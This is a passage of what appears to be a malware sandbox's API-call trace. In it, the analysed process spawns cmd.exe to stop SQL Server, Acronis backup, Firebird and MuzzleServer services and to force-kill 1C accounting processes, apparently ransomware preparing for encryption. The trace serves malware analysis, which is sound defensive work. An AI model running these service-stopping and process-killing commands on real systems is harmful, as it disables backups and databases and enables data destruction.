"c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0036.269] GetLastError () returned 0x0 [0036.269] SetLastError (dwErrCode=0x0) [0036.269] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQL$SQLEXPRESS /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQL$SQLEXPRESS /Y", lpProcessInformation=0x37e5a8*(hProcess=0x6c, hThread=0x70, dwProcessId=0xa28, dwThreadId=0xa2c)) returned 1 [0036.282] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0036.544] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0036.544] CloseHandle (hObject=0x70) returned 1 [0036.544] CloseHandle (hObject=0x6c) returned 1 [0036.545] GetLastError () returned 0x0 [0036.545] SetLastError (dwErrCode=0x0) [0036.545] GetLastError () returned 0x0 [0036.545] SetLastError (dwErrCode=0x0) [0036.545] GetLastError () returned 0x0 [0036.545] SetLastError (dwErrCode=0x0) [0036.545] AreFileApisANSI () returned 1 [0036.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0036.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0036.545] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0036.545] GetLastError () returned 0x0 [0036.545] SetLastError (dwErrCode=0x0) [0036.545] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP acrsch2svc /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP acrsch2svc /Y", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0xa50, dwThreadId=0xa54)) returned 1 [0036.558] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0036.880] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0036.880] CloseHandle (hObject=0x6c) returned 1 [0036.881] CloseHandle (hObject=0x70) returned 1 [0036.881] GetLastError () returned 0x0 [0036.881] SetLastError (dwErrCode=0x0) [0036.881] GetLastError () returned 0x0 [0036.881] SetLastError (dwErrCode=0x0) [0036.881] GetLastError () returned 0x0 [0036.881] SetLastError (dwErrCode=0x0) [0036.881] AreFileApisANSI () returned 1 [0036.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0036.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0036.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0036.881] GetLastError () returned 0x0 [0036.882] SetLastError (dwErrCode=0x0) [0036.882] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP acronisagent /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP acronisagent /Y", lpProcessInformation=0x37e5a8*(hProcess=0x6c, hThread=0x70, dwProcessId=0xa78, dwThreadId=0xa7c)) returned 1 [0036.894] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0038.319] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0038.319] CloseHandle (hObject=0x70) returned 1 [0038.319] CloseHandle (hObject=0x6c) returned 1 [0038.319] GetLastError () returned 0x0 [0038.319] SetLastError (dwErrCode=0x0) [0038.319] GetLastError () returned 0x0 [0038.319] SetLastError (dwErrCode=0x0) [0038.319] GetLastError () returned 0x0 [0038.319] SetLastError (dwErrCode=0x0) [0038.319] AreFileApisANSI () returned 1 [0038.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0038.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0038.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0038.320] GetLastError () returned 0x0 [0038.320] SetLastError (dwErrCode=0x0) [0038.320] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP arsm /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP arsm /Y", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0xaa0, dwThreadId=0xaa4)) returned 1 [0038.332] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0038.577] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0038.578] CloseHandle (hObject=0x6c) returned 1 [0038.578] CloseHandle (hObject=0x70) returned 1 [0038.578] GetLastError () returned 0x0 [0038.578] SetLastError (dwErrCode=0x0) [0038.578] GetLastError () returned 0x0 [0038.578] SetLastError (dwErrCode=0x0) [0038.578] GetLastError () returned 0x0 [0038.578] SetLastError (dwErrCode=0x0) [0038.578] AreFileApisANSI () returned 1 [0038.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0038.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0038.578] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0038.578] GetLastError () returned 0x0 [0038.578] SetLastError (dwErrCode=0x0) [0038.578] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdServerDefaultInstance /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdServerDefaultInstance /Y", lpProcessInformation=0x37e5a8*(hProcess=0x6c, hThread=0x70, dwProcessId=0xac8, dwThreadId=0xacc)) returned 1 [0038.589] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0038.884] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0038.884] CloseHandle (hObject=0x70) returned 1 [0038.884] CloseHandle (hObject=0x6c) returned 1 [0038.884] GetLastError () returned 0x0 [0038.884] SetLastError (dwErrCode=0x0) [0038.884] GetLastError () returned 0x0 [0038.884] SetLastError (dwErrCode=0x0) [0038.884] GetLastError () returned 0x0 [0038.884] SetLastError (dwErrCode=0x0) [0038.884] AreFileApisANSI () returned 1 [0038.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0038.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0038.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0038.885] GetLastError () returned 0x0 [0038.885] SetLastError (dwErrCode=0x0) [0038.885] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdGuardianDefaultInstance /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdGuardianDefaultInstance /Y", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0xaf0, dwThreadId=0xaf4)) returned 1 [0038.898] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0039.233] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0039.233] CloseHandle (hObject=0x6c) returned 1 [0039.233] CloseHandle (hObject=0x70) returned 1 [0039.233] GetLastError () returned 0x0 [0039.233] SetLastError (dwErrCode=0x0) [0039.233] GetLastError () returned 0x0 [0039.233] SetLastError (dwErrCode=0x0) [0039.233] GetLastError () returned 0x0 [0039.234] SetLastError (dwErrCode=0x0) [0039.234] AreFileApisANSI () returned 1 [0039.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0039.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0039.234] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0039.234] GetLastError () returned 0x0 [0039.234] SetLastError (dwErrCode=0x0) [0039.234] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP MuzzleServer /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c NET STOP MuzzleServer /Y", lpProcessInformation=0x37e5a8*(hProcess=0x6c, hThread=0x70, dwProcessId=0xb18, dwThreadId=0xb1c)) returned 1 [0039.253] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0039.580] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x2) returned 1 [0039.580] CloseHandle (hObject=0x70) returned 1 [0039.580] CloseHandle (hObject=0x6c) returned 1 [0039.580] GetLastError () returned 0x0 [0039.580] SetLastError (dwErrCode=0x0) [0039.580] GetLastError () returned 0x0 [0039.580] SetLastError (dwErrCode=0x0) [0039.580] GetLastError () returned 0x0 [0039.580] SetLastError (dwErrCode=0x0) [0039.580] AreFileApisANSI () returned 1 [0039.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0039.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0039.581] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0039.581] GetLastError () returned 0x0 [0039.581] SetLastError (dwErrCode=0x0) [0039.581] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7s.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7s.exe /T /F", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0xb40, dwThreadId=0xb44)) returned 1 [0039.595] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0045.236] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x80) returned 1 [0045.236] CloseHandle (hObject=0x6c) returned 1 [0045.236] CloseHandle (hObject=0x70) returned 1 [0045.236] GetLastError () returned 0x0 [0045.236] SetLastError (dwErrCode=0x0) [0045.237] GetLastError () returned 0x0 [0045.237] SetLastError (dwErrCode=0x0) [0045.237] GetLastError () returned 0x0 [0045.237] SetLastError (dwErrCode=0x0) [0045.237] AreFileApisANSI () returned 1 [0045.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0045.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0045.237] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0045.237] GetLastError () returned 0x0 [0045.237] SetLastError (dwErrCode=0x0) [0045.237] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8s.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8s.exe /T /F", lpProcessInformation=0x37e5a8*(hProcess=0x6c, hThread=0x70, dwProcessId=0xba8, dwThreadId=0xbac)) returned 1 [0045.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0 [0045.730] GetExitCodeProcess (in: hProcess=0x6c, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x80) returned 1 [0045.731] CloseHandle (hObject=0x70) returned 1 [0045.731] CloseHandle (hObject=0x6c) returned 1 [0045.731] GetLastError () returned 0x0 [0045.731] SetLastError (dwErrCode=0x0) [0045.731] GetLastError () returned 0x0 [0045.731] SetLastError (dwErrCode=0x0) [0045.731] GetLastError () returned 0x0 [0045.731] SetLastError (dwErrCode=0x0) [0045.731] AreFileApisANSI () returned 1 [0045.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0045.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0045.731] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0045.731] GetLastError () returned 0x0 [0045.731] SetLastError (dwErrCode=0x0) [0045.731] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x69c5b0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37e5a8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7.exe /T /F", lpProcessInformation=0x37e5a8*(hProcess=0x70, hThread=0x6c, dwProcessId=0xbdc, dwThreadId=0xbe0)) returned 1 [0045.750] WaitForSingleObject (hHandle=0x70, dwMilliseconds=0xffffffff) returned 0x0 [0046.263] GetExitCodeProcess (in: hProcess=0x70, lpExitCode=0x37e5c8 | out: lpExitCode=0x37e5c8*=0x80) returned 1 [0046.263] CloseHandle (hObject=0x6c) returned 1 [0046.263] CloseHandle (hObject=0x70) returned 1 [0046.263] GetLastError () returned 0x0 [0046.263] SetLastError (dwErrCode=0x0) [0046.263] GetLastError () returned 0x0 [0046.263] SetLastError (dwErrCode=0x0) [0046.263] GetLastError () returned 0x0 [0046.263] SetLastError (dwErrCode=0x0) [0046.263] AreFileApisANSI () returned 1 [0046.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0046.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69e000, cbMultiByte=-1, lpWideCharStr=0x69c4f8, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0046.263] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x37e5a8 | out: lpFileInformation=0x37e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0046.263] GetLastError () returned 0x0 [0046.263] SetLastError (dwErrCode=0x0) [0046.263] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8.exe /T /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x37e564*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, 